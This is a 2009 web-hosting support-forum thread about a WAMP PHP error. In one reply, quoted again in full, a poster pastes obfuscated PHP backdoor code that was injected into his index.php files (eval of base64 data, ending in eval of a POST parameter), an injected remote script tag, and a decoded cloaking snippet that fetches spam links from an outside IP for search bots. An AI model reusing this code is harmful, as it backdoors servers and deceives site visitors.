Support Forums

Full Version: question about WAMP server
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
today I installed wamp server and I get this error :
Quote:Fatal error: Call to undefined function get_header() in C:\wamp\www\index.php on line 1
when I try to test joomla, wordpress,comicpress etc.. sites. I dont really understand what is the problem!
That's not a WAMP problem it's more the Script you are using.
But it could happen that you have something wrong.
Does it occurs on every script?
well on all cms scripts I tried, but anyway I uninstalled it, and thanks
Try XAMPP instead.
(12-10-2009, 01:43 AM)iintens Wrote: [ -> ]Try XAMPP instead.

thanks, Thumbsup
Lol or just enable php :p
(12-06-2009, 10:58 AM)cyberninja Wrote: [ -> ]today I installed wamp server and I get this error : when I try to test joomla, wordpress,comicpress etc.. sites. I dont really understand what is the problem!

hmm probably u have something bad written on the index file , once my server was having this kind of problems , and from the support center said that it was infected with virus .and they have cleaned it.. try scan your pc , server or whatever u have Big Grin


I ve had this line on all my index.php files
Code:
<?php eval(base64_decode('aWYoIWlzc2V0KCRwNzIxKSl7ZnVuY3Rpb24gcDcyKCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF0gYXMgJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRjaCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFxiIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9yZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRjaF9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT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mb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kcDcybD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcigncDcyMicpKSE9J3A3MjInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?><?php
class JConfig {

<?php eval(base64_decode())?>
this maybe will help
http://forum.joomla.org/viewtopic.php?f=432&p=1891699
<script src=http://prospekt.org/banners/vacancies.php ></script>

and this how the decrypted code looked like
Code:
if(strstr($_SERVER['HTTP_USER_AGENT'],'Slurp')||strstr($_SERVER['HTTP_USER_AGENT'],'msnbot')||strstr($_SERVER['HTTP_USER_AGENT'],'Googlebot')){$content=file_get_contents('http://97.74.217.181/links.php');if($content!==false){echo($content);}}
(12-18-2009, 12:23 PM)spiro_dt Wrote: [ -> ]hmm probably u have something bad written on the index file , once my server was having this kind of problems , and from the support center said that it was infected with virus .and they have cleaned it.. try scan your pc , server or whatever u have Big Grin


I ve had this line on all my index.php files
Code:
<?php eval(base64_decode('aWYoIWlzc2V0KCRwNzIxKSl7ZnVuY3Rpb24gcDcyKCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF0gYXMgJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRjaCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFxiIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9yZXBsYW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CgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdwNzInKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kcDcybD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcigncDcyMicpKSE9J3A3MjInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?><?php
class JConfig {

<?php eval(base64_decode())?>
this maybe will help
http://forum.joomla.org/viewtopic.php?f=432&p=1891699
<script src=http://prospekt.org/banners/vacancies.php ></script>

and this how the decrypted code looked like
Code:
if(strstr($_SERVER['HTTP_USER_AGENT'],'Slurp')||strstr($_SERVER['HTTP_USER_AGENT'],'msnbot')||strstr($_SERVER['HTTP_USER_AGENT'],'Googlebot')){$content=file_get_contents('http://97.74.217.181/links.php');if($content!==false){echo($content);}}


XAMPP is better Blackhat
(12-18-2009, 09:10 AM)tnt996 Wrote: [ -> ]Lol or just enable php :p

You idiot, that's a PHP error, PHP is obviously enabled.
(12-18-2009, 03:30 PM)cyberninja Wrote: [ -> ]XAMPP is better Blackhat


that was on real server not on testing servers..
btw for guy that said that php is disabled.. if this is true you will be able to download .php files Big Grin and you will get the code of that file displayed Big Grin